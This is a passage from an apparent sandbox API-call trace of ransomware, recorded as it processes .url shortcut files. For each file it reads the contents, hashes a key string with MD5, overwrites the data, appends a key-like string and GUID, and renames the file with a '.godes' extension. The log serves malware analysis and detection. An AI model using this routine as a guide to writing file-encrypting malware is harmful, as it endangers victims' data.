lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.974] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.974] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.974] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.974] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.974] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.974] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.974] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.974] CloseHandle (hObject=0x624) returned 1 [0113.975] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ea90 [0113.975] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x3321120 [0113.975] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ea90 | out: hHeap=0x660000) returned 1 [0113.975] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url.godes")) returned 1 [0113.975] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.975] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.976] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0113.976] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0113.976] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0113.976] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0113.976] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0113.976] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned=".url" [0113.976] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.977] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=134) returned 1 [0113.977] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.979] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.979] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.980] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.980] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.980] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.980] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x86, lpOverlapped=0x0) returned 1 [0113.980] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.980] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.980] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.980] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.980] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740fc0) returned 1 [0113.981] CryptCreateHash (in: hProv=0x740fc0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.981] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.981] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.981] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.981] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.981] GetLastError () returned 0x0 [0113.981] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.981] CryptReleaseContext (hProv=0x740fc0, dwFlags=0x0) returned 1 [0113.981] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.981] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0113.981] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.981] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.981] WriteFile (in: hFile=0x624, lpBuffer=0x31e3c08*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x31e3c08*, lpNumberOfBytesWritten=0x3b2fb24*=0x81, lpOverlapped=0x0) returned 1 [0113.981] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0113.981] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.981] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.981] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.982] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.982] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.982] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.982] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.982] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.982] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.982] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.982] CloseHandle (hObject=0x624) returned 1 [0113.983] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0113.983] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x3321120 [0113.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0113.983] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url.godes")) returned 1 [0113.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.983] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0113.984] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0113.984] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0113.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0113.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0113.984] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f4f8 [0113.984] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0113.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0113.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.989] HeapFree (in: hHeap=0x660000, 